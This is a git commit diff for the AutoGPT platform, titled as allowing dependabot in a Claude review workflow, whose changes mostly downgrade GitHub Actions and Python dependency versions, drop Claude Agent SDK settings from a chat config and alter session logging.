fix(ci): allow dependabot[bot] in Claude dependabot review workflow

The Claude Code Action rejects bot actors by default. Adding dependabot[bot]
to allowed_bots so the automated dependency review can run on Dependabot PRs.

.github/workflows/classic-frontend-ci.yml

@@ -49,7 +49,7 @@ jobs:
 
       - name: Create PR ${{ env.BUILD_BRANCH }} -> ${{ github.ref_name }}
         if: github.event_name == 'push'
-        uses: peter-evans/create-pull-request@v8
+        uses: peter-evans/create-pull-request@v7
         with:
           add-paths: classic/frontend/build/web
           base: ${{ github.ref_name }}

.github/workflows/claude-ci-failure-auto-fix.yml

@@ -22,7 +22,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           ref: ${{ github.event.workflow_run.head_branch }}
           fetch-depth: 0
@@ -42,7 +42,7 @@ jobs:
 
       - name: Get CI failure details
         id: failure_details
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             const run = await github.rest.actions.getWorkflowRun({

.github/workflows/claude-dependabot.yml

@@ -30,7 +30,7 @@ jobs:
       actions: read # Required for CI access
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 1
 
@@ -41,7 +41,7 @@ jobs:
           python-version: "3.11"  # Use standard version matching CI
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}
@@ -78,7 +78,7 @@ jobs:
 
       # Frontend Node.js/pnpm setup (mirrors platform-frontend-ci.yml)
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22"
 
@@ -91,7 +91,7 @@ jobs:
           echo "PNPM_HOME=$HOME/.pnpm-store" >> $GITHUB_ENV
 
       - name: Cache frontend dependencies
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ runner.os }}-pnpm-${{ hashFiles('autogpt_platform/frontend/pnpm-lock.yaml', 'autogpt_platform/frontend/package.json') }}
@@ -124,7 +124,7 @@ jobs:
       # Phase 1: Cache and load Docker images for faster setup
       - name: Set up Docker image cache
         id: docker-cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/docker-cache
           # Use a versioned key for cache invalidation when image list changes

.github/workflows/claude.yml

@@ -40,7 +40,7 @@ jobs:
       actions: read # Required for CI access
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 1
 
@@ -57,7 +57,7 @@ jobs:
           python-version: "3.11"  # Use standard version matching CI
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}
@@ -94,7 +94,7 @@ jobs:
 
       # Frontend Node.js/pnpm setup (mirrors platform-frontend-ci.yml)
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22"
 
@@ -107,7 +107,7 @@ jobs:
           echo "PNPM_HOME=$HOME/.pnpm-store" >> $GITHUB_ENV
 
       - name: Cache frontend dependencies
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ runner.os }}-pnpm-${{ hashFiles('autogpt_platform/frontend/pnpm-lock.yaml', 'autogpt_platform/frontend/package.json') }}
@@ -140,7 +140,7 @@ jobs:
       # Phase 1: Cache and load Docker images for faster setup
       - name: Set up Docker image cache
         id: docker-cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/docker-cache
           # Use a versioned key for cache invalidation when image list changes

.github/workflows/codeql.yml

@@ -58,7 +58,7 @@ jobs:
         # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages
     steps:
     - name: Checkout repository
-      uses: actions/checkout@v6
+      uses: actions/checkout@v4
 
     # Initializes the CodeQL tools for scanning.
     - name: Initialize CodeQL

.github/workflows/copilot-setup-steps.yml

@@ -27,7 +27,7 @@ jobs:
     # If you do not check out your code, Copilot will do this for you.
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 0
           submodules: true
@@ -39,7 +39,7 @@ jobs:
           python-version: "3.11"  # Use standard version matching CI
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}
@@ -76,7 +76,7 @@ jobs:
 
       # Frontend Node.js/pnpm setup (mirrors platform-frontend-ci.yml)
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22"
 
@@ -89,7 +89,7 @@ jobs:
           echo "PNPM_HOME=$HOME/.pnpm-store" >> $GITHUB_ENV
 
       - name: Cache frontend dependencies
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ runner.os }}-pnpm-${{ hashFiles('autogpt_platform/frontend/pnpm-lock.yaml', 'autogpt_platform/frontend/package.json') }}
@@ -132,7 +132,7 @@ jobs:
       # Phase 1: Cache and load Docker images for faster setup
       - name: Set up Docker image cache
         id: docker-cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/docker-cache
           # Use a versioned key for cache invalidation when image list changes

.github/workflows/docs-block-sync.yml

@@ -23,7 +23,7 @@ jobs:
 
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 1
 
@@ -33,7 +33,7 @@ jobs:
           python-version: "3.11"
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}

.github/workflows/docs-claude-review.yml

@@ -23,7 +23,7 @@ jobs:
 
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 0
 
@@ -33,7 +33,7 @@ jobs:
           python-version: "3.11"
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}

.github/workflows/docs-enhance.yml

@@ -28,7 +28,7 @@ jobs:
 
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 1
 
@@ -38,7 +38,7 @@ jobs:
           python-version: "3.11"
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}

.github/workflows/platform-autogpt-deploy-dev.yaml

@@ -25,7 +25,7 @@ jobs:
 
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           ref: ${{ github.event.inputs.git_ref || github.ref_name }}
 
@@ -52,7 +52,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Trigger deploy workflow
-        uses: peter-evans/repository-dispatch@v4
+        uses: peter-evans/repository-dispatch@v3
         with:
           token: ${{ secrets.DEPLOY_TOKEN }}
           repository: Significant-Gravitas/AutoGPT_cloud_infrastructure

.github/workflows/platform-autogpt-deploy-prod.yml

@@ -17,7 +17,7 @@ jobs:
 
     steps:
       - name: Checkout code
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           ref: ${{ github.ref_name || 'master' }}
 
@@ -45,7 +45,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - name: Trigger deploy workflow
-        uses: peter-evans/repository-dispatch@v4
+        uses: peter-evans/repository-dispatch@v3
         with:
           token: ${{ secrets.DEPLOY_TOKEN }}
           repository: Significant-Gravitas/AutoGPT_cloud_infrastructure

.github/workflows/platform-backend-ci.yml

@@ -68,7 +68,7 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 0
           submodules: true
@@ -88,7 +88,7 @@ jobs:
         run: echo "date=$(date +'%Y-%m-%d')" >> $GITHUB_OUTPUT
 
       - name: Set up Python dependency cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.cache/pypoetry
           key: poetry-${{ runner.os }}-${{ hashFiles('autogpt_platform/backend/poetry.lock') }}

.github/workflows/platform-dev-deploy-event-dispatcher.yml

@@ -17,7 +17,7 @@ jobs:
       - name: Check comment permissions and deployment status
         id: check_status
         if: github.event_name == 'issue_comment' && github.event.issue.pull_request
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             const commentBody = context.payload.comment.body.trim();
@@ -55,7 +55,7 @@ jobs:
 
       - name: Post permission denied comment
         if: steps.check_status.outputs.permission_denied == 'true'
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             await github.rest.issues.createComment({
@@ -68,7 +68,7 @@ jobs:
       - name: Get PR details for deployment
         id: pr_details
         if: steps.check_status.outputs.should_deploy == 'true' || steps.check_status.outputs.should_undeploy == 'true'
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             const pr = await github.rest.pulls.get({
@@ -82,7 +82,7 @@ jobs:
           
       - name: Dispatch Deploy Event
         if: steps.check_status.outputs.should_deploy == 'true'
-        uses: peter-evans/repository-dispatch@v4
+        uses: peter-evans/repository-dispatch@v3
         with:
           token: ${{ secrets.DISPATCH_TOKEN }}
           repository: Significant-Gravitas/AutoGPT_cloud_infrastructure
@@ -98,7 +98,7 @@ jobs:
 
       - name: Post deploy success comment
         if: steps.check_status.outputs.should_deploy == 'true'
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             await github.rest.issues.createComment({
@@ -110,7 +110,7 @@ jobs:
 
       - name: Dispatch Undeploy Event (from comment)
         if: steps.check_status.outputs.should_undeploy == 'true'
-        uses: peter-evans/repository-dispatch@v4
+        uses: peter-evans/repository-dispatch@v3
         with:
           token: ${{ secrets.DISPATCH_TOKEN }}
           repository: Significant-Gravitas/AutoGPT_cloud_infrastructure
@@ -126,7 +126,7 @@ jobs:
 
       - name: Post undeploy success comment
         if: steps.check_status.outputs.should_undeploy == 'true'
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             await github.rest.issues.createComment({
@@ -139,7 +139,7 @@ jobs:
       - name: Check deployment status on PR close
         id: check_pr_close
         if: github.event_name == 'pull_request' && github.event.action == 'closed'
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             const comments = await github.rest.issues.listComments({
@@ -168,7 +168,7 @@ jobs:
           github.event_name == 'pull_request' &&
           github.event.action == 'closed' &&
           steps.check_pr_close.outputs.should_undeploy == 'true'
-        uses: peter-evans/repository-dispatch@v4
+        uses: peter-evans/repository-dispatch@v3
         with:
           token: ${{ secrets.DISPATCH_TOKEN }}
           repository: Significant-Gravitas/AutoGPT_cloud_infrastructure
@@ -187,7 +187,7 @@ jobs:
           github.event_name == 'pull_request' &&
           github.event.action == 'closed' &&
           steps.check_pr_close.outputs.should_undeploy == 'true'
-        uses: actions/github-script@v8
+        uses: actions/github-script@v7
         with:
           script: |
             await github.rest.issues.createComment({

.github/workflows/platform-frontend-ci.yml

@@ -31,7 +31,7 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Check for component changes
         uses: dorny/paths-filter@v3
@@ -42,7 +42,7 @@ jobs:
               - 'autogpt_platform/frontend/src/components/**'
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -54,7 +54,7 @@ jobs:
         run: echo "key=${{ runner.os }}-pnpm-${{ hashFiles('autogpt_platform/frontend/pnpm-lock.yaml', 'autogpt_platform/frontend/package.json') }}" >> $GITHUB_OUTPUT
 
       - name: Cache dependencies
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ steps.cache-key.outputs.key }}
@@ -71,10 +71,10 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -82,7 +82,7 @@ jobs:
         run: corepack enable
 
       - name: Restore dependencies cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ needs.setup.outputs.cache-key }}
@@ -107,12 +107,12 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           fetch-depth: 0
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -120,7 +120,7 @@ jobs:
         run: corepack enable
 
       - name: Restore dependencies cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ needs.setup.outputs.cache-key }}
@@ -148,12 +148,12 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           submodules: recursive
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -176,7 +176,7 @@ jobs:
         uses: docker/setup-buildx-action@v3
 
       - name: Cache Docker layers
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: /tmp/.buildx-cache
           key: ${{ runner.os }}-buildx-frontend-test-${{ hashFiles('autogpt_platform/docker-compose.yml', 'autogpt_platform/backend/Dockerfile', 'autogpt_platform/backend/pyproject.toml', 'autogpt_platform/backend/poetry.lock') }}
@@ -231,7 +231,7 @@ jobs:
           fi
 
       - name: Restore dependencies cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ needs.setup.outputs.cache-key }}
@@ -277,12 +277,12 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           submodules: recursive
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -290,7 +290,7 @@ jobs:
         run: corepack enable
 
       - name: Restore dependencies cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ needs.setup.outputs.cache-key }}

.github/workflows/platform-fullstack-ci.yml

@@ -29,10 +29,10 @@ jobs:
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -44,7 +44,7 @@ jobs:
         run: echo "key=${{ runner.os }}-pnpm-${{ hashFiles('autogpt_platform/frontend/pnpm-lock.yaml', 'autogpt_platform/frontend/package.json') }}" >> $GITHUB_OUTPUT
 
       - name: Cache dependencies
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ steps.cache-key.outputs.key }}
@@ -56,19 +56,19 @@ jobs:
         run: pnpm install --frozen-lockfile
 
   types:
-    runs-on: big-boi
+    runs-on: ubuntu-latest
     needs: setup
     strategy:
       fail-fast: false
 
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v6
+        uses: actions/checkout@v4
         with:
           submodules: recursive
 
       - name: Set up Node.js
-        uses: actions/setup-node@v6
+        uses: actions/setup-node@v4
         with:
           node-version: "22.18.0"
 
@@ -85,10 +85,10 @@ jobs:
 
       - name: Run docker compose
         run: |
-          docker compose -f ../docker-compose.yml --profile local up -d deps_backend
+          docker compose -f ../docker-compose.yml --profile local --profile deps_backend up -d
 
       - name: Restore dependencies cache
-        uses: actions/cache@v5
+        uses: actions/cache@v4
         with:
           path: ~/.pnpm-store
           key: ${{ needs.setup.outputs.cache-key }}

.github/workflows/repo-workflow-checker.yml

@@ -11,7 +11,7 @@ jobs:
     steps:
       # - name: Wait some time for all actions to start
       #   run: sleep 30
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v4
         # with:
           # fetch-depth: 0
       - name: Set up Python

autogpt_platform/autogpt_libs/poetry.lock

@@ -99,101 +99,84 @@ files = [
 
 [[package]]
 name = "cffi"
-version = "2.0.0"
+version = "1.17.1"
 description = "Foreign Function Interface for Python calling C code."
 optional = false
-python-versions = ">=3.9"
+python-versions = ">=3.8"
 groups = ["main"]
 markers = "platform_python_implementation != \"PyPy\""
 files = [
-    {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"},
-    {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"},
-    {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"},
-    {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"},
-    {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"},
-    {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"},
-    {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"},
-    {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"},
-    {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"},
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 [package.dependencies]
@@ -448,75 +413,62 @@ toml = ["tomli ; python_full_version <= \"3.11.0a6\""]
 
 [[package]]
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 optional = false
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-typing-extensions = {version = ">=4.13.2", markers = "python_full_version < \"3.11.0\""}
+cffi = {version = ">=1.14", markers = "platform_python_implementation != \"PyPy\""}
 
 [package.extras]
-docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"]
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-pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"]
+nox = ["nox (>=2024.4.15)", "nox[uv] (>=2024.3.2) ; python_full_version >= \"3.8.0\""]
+pep8test = ["check-sdist ; python_full_version >= \"3.8.0\"", "click (>=8.0.1)", "mypy (>=1.4)", "ruff (>=0.3.6)"]
 sdist = ["build (>=1.0.0)"]
 ssh = ["bcrypt (>=3.1.5)"]
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+test = ["certifi (>=2024)", "cryptography-vectors (==45.0.6)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"]
 test-randomorder = ["pytest-randomly"]
 
 [[package]]
@@ -1698,7 +1650,7 @@ description = "C parser in Python"
 optional = false
 python-versions = ">=3.8"
 groups = ["main"]
-markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\""
+markers = "platform_python_implementation != \"PyPy\""
 files = [
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@@ -2020,14 +1972,14 @@ files = [
 
 [[package]]
 name = "pyright"
-version = "1.1.408"
+version = "1.1.404"
 description = "Command line wrapper for pyright"
 optional = false
 python-versions = ">=3.7"
 groups = ["dev"]
 files = [
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 ]
 
 [package.dependencies]
@@ -2159,20 +2111,19 @@ dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests
 
 [[package]]
 name = "pytest-asyncio"
-version = "1.3.0"
+version = "1.1.0"
 description = "Pytest support for asyncio"
 optional = false
-python-versions = ">=3.10"
+python-versions = ">=3.9"
 groups = ["dev"]
 files = [
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 [package.dependencies]
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-pytest = ">=8.2,<10"
-typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""}
+pytest = ">=8.2,<9"
 
 [package.extras]
 docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"]
@@ -2180,34 +2131,34 @@ testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"]
 
 [[package]]
 name = "pytest-cov"
-version = "7.0.0"
+version = "6.2.1"
 description = "Pytest plugin for measuring coverage."
 optional = false
 python-versions = ">=3.9"
 groups = ["dev"]
 files = [
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 ]
 
 [package.dependencies]
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+coverage = {version = ">=7.5", extras = ["toml"]}
 pluggy = ">=1.2"
-pytest = ">=7"
+pytest = ">=6.2.5"
 
 [package.extras]
-testing = ["process-tests", "pytest-xdist", "virtualenv"]
+testing = ["fields", "hunter", "process-tests", "pytest-xdist", "virtualenv"]
 
 [[package]]
 name = "pytest-mock"
-version = "3.15.1"
+version = "3.14.1"
 description = "Thin-wrapper around the mock package for easier use with pytest"
 optional = false
-python-versions = ">=3.9"
+python-versions = ">=3.8"
 groups = ["dev"]
 files = [
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 ]
 
 [package.dependencies]
@@ -2341,30 +2292,31 @@ pyasn1 = ">=0.1.3"
 
 [[package]]
 name = "ruff"
-version = "0.15.0"
+version = "0.12.11"
 description = "An extremely fast Python linter and code formatter, written in Rust."
 optional = false
 python-versions = ">=3.7"
 groups = ["dev"]
 files = [
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+    {file = "ruff-0.12.11.tar.gz", hash = "sha256:c6b09ae8426a65bbee5425b9d0b82796dbb07cb1af045743c79bfb163001165d"},
 ]
 
 [[package]]
@@ -2911,4 +2863,4 @@ type = ["pytest-mypy"]
 [metadata]
 lock-version = "2.1"
 python-versions = ">=3.10,<4.0"
-content-hash = "40eae94995dc0a388fa832ed4af9b6137f28d5b5ced3aaea70d5f91d4d9a179d"
+content-hash = "5f15a9c9381c9a374f3d18e087c23b1f1ba8cce192d6f67463a3e3a7a18fee44"

autogpt_platform/autogpt_libs/pyproject.toml

@@ -9,7 +9,7 @@ packages = [{ include = "autogpt_libs" }]
 [tool.poetry.dependencies]
 python = ">=3.10,<4.0"
 colorama = "^0.4.6"
-cryptography = "^46.0"
+cryptography = "^45.0"
 expiringdict = "^1.2.2"
 fastapi = "^0.128.0"
 google-cloud-logging = "^3.13.0"
@@ -22,12 +22,12 @@ supabase = "^2.27.2"
 uvicorn = "^0.40.0"
 
 [tool.poetry.group.dev.dependencies]
-pyright = "^1.1.408"
+pyright = "^1.1.404"
 pytest = "^8.4.1"
-pytest-asyncio = "^1.3.0"
-pytest-mock = "^3.15.1"
-pytest-cov = "^7.0.0"
-ruff = "^0.15.0"
+pytest-asyncio = "^1.1.0"
+pytest-mock = "^3.14.1"
+pytest-cov = "^6.2.1"
+ruff = "^0.12.11"
 
 [build-system]
 requires = ["poetry-core"]

autogpt_platform/backend/Dockerfile

@@ -62,16 +62,12 @@ ENV POETRY_HOME=/opt/poetry \
     DEBIAN_FRONTEND=noninteractive
 ENV PATH=/opt/poetry/bin:$PATH
 
-# Install Python, FFmpeg, ImageMagick, and CLI tools for agent use
-# CLI tools match ALLOWED_BASH_COMMANDS in security_hooks.py
+# Install Python, FFmpeg, and ImageMagick (required for video processing blocks)
 RUN apt-get update && apt-get install -y \
     python3.13 \
     python3-pip \
     ffmpeg \
     imagemagick \
-    jq \
-    ripgrep \
-    tree \
     && rm -rf /var/lib/apt/lists/*
 
 # Copy only necessary files from builder

autogpt_platform/backend/backend/api/features/chat/config.py

@@ -27,11 +27,12 @@ class ChatConfig(BaseSettings):
     session_ttl: int = Field(default=43200, description="Session TTL in seconds")
 
     # Streaming Configuration
-    stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
-    max_retries: int = Field(
-        default=3,
-        description="Max retries for fallback path (SDK handles retries internally)",
+    max_context_messages: int = Field(
+        default=50, ge=1, le=200, description="Maximum context messages"
     )
+
+    stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
+    max_retries: int = Field(default=3, description="Maximum number of retries")
     max_agent_runs: int = Field(default=30, description="Maximum number of agent runs")
     max_agent_schedules: int = Field(
         default=30, description="Maximum number of agent schedules"
@@ -92,33 +93,6 @@ class ChatConfig(BaseSettings):
         description="Name of the prompt in Langfuse to fetch",
     )
 
-    # Claude Agent SDK Configuration
-    use_claude_agent_sdk: bool = Field(
-        default=True,
-        description="Use Claude Agent SDK for chat completions",
-    )
-    claude_agent_model: str | None = Field(
-        default=None,
-        description="Model for the Claude Agent SDK path. If None, derives from "
-        "the `model` field by stripping the OpenRouter provider prefix.",
-    )
-    claude_agent_max_budget_usd: float | None = Field(
-        default=None,
-        gt=0,
-        description="Max budget in USD per Claude Agent SDK session (None = unlimited)",
-    )
-    claude_agent_max_buffer_size: int = Field(
-        default=10 * 1024 * 1024,  # 10MB (default SDK is 1MB)
-        description="Max buffer size in bytes for Claude Agent SDK JSON message parsing. "
-        "Increase if tool outputs exceed the limit.",
-    )
-
-    # Extended thinking configuration for Claude models
-    thinking_enabled: bool = Field(
-        default=True,
-        description="Enable adaptive thinking for Claude models via OpenRouter",
-    )
-
     @field_validator("api_key", mode="before")
     @classmethod
     def get_api_key(cls, v):
@@ -158,17 +132,6 @@ class ChatConfig(BaseSettings):
             v = os.getenv("CHAT_INTERNAL_API_KEY")
         return v
 
-    @field_validator("use_claude_agent_sdk", mode="before")
-    @classmethod
-    def get_use_claude_agent_sdk(cls, v):
-        """Get use_claude_agent_sdk from environment if not provided."""
-        # Check environment variable - default to True if not set
-        env_val = os.getenv("CHAT_USE_CLAUDE_AGENT_SDK", "").lower()
-        if env_val:
-            return env_val in ("true", "1", "yes", "on")
-        # Default to True (SDK enabled by default)
-        return True if v is None else v
-
     # Prompt paths for different contexts
     PROMPT_PATHS: dict[str, str] = {
         "default": "prompts/chat_system.md",

autogpt_platform/backend/backend/api/features/chat/db.py

@@ -45,7 +45,10 @@ async def create_chat_session(
         successfulAgentRuns=SafeJson({}),
         successfulAgentSchedules=SafeJson({}),
     )
-    return await PrismaChatSession.prisma().create(data=data)
+    return await PrismaChatSession.prisma().create(
+        data=data,
+        include={"Messages": True},
+    )
 
 
 async def update_chat_session(

autogpt_platform/backend/backend/api/features/chat/model.py

@@ -273,8 +273,9 @@ async def _get_session_from_cache(session_id: str) -> ChatSession | None:
     try:
         session = ChatSession.model_validate_json(raw_session)
         logger.info(
-            f"[CACHE] Loaded session {session_id}: {len(session.messages)} messages, "
-            f"last_roles={[m.role for m in session.messages[-3:]]}"  # Last 3 roles
+            f"Loading session {session_id} from cache: "
+            f"message_count={len(session.messages)}, "
+            f"roles={[m.role for m in session.messages]}"
         )
         return session
     except Exception as e:
@@ -316,9 +317,11 @@ async def _get_session_from_db(session_id: str) -> ChatSession | None:
         return None
 
     messages = prisma_session.Messages
-    logger.debug(
-        f"[DB] Loaded session {session_id}: {len(messages) if messages else 0} messages, "
-        f"roles={[m.role for m in messages[-3:]] if messages else []}"  # Last 3 roles
+    logger.info(
+        f"Loading session {session_id} from DB: "
+        f"has_messages={messages is not None}, "
+        f"message_count={len(messages) if messages else 0}, "
+        f"roles={[m.role for m in messages] if messages else []}"
     )
 
     return ChatSession.from_db(prisma_session, messages)
@@ -369,9 +372,10 @@ async def _save_session_to_db(
                     "function_call": msg.function_call,
                 }
             )
-        logger.debug(
-            f"[DB] Saving {len(new_messages)} messages to session {session.session_id}, "
-            f"roles={[m['role'] for m in messages_data]}"
+        logger.info(
+            f"Saving {len(new_messages)} new messages to DB for session {session.session_id}: "
+            f"roles={[m['role'] for m in messages_data]}, "
+            f"start_sequence={existing_message_count}"
         )
         await chat_db.add_chat_messages_batch(
             session_id=session.session_id,
@@ -411,7 +415,7 @@ async def get_chat_session(
         logger.warning(f"Unexpected cache error for session {session_id}: {e}")
 
     # Fall back to database
-    logger.debug(f"Session {session_id} not in cache, checking database")
+    logger.info(f"Session {session_id} not in cache, checking database")
     session = await _get_session_from_db(session_id)
 
     if session is None:
@@ -428,6 +432,7 @@ async def get_chat_session(
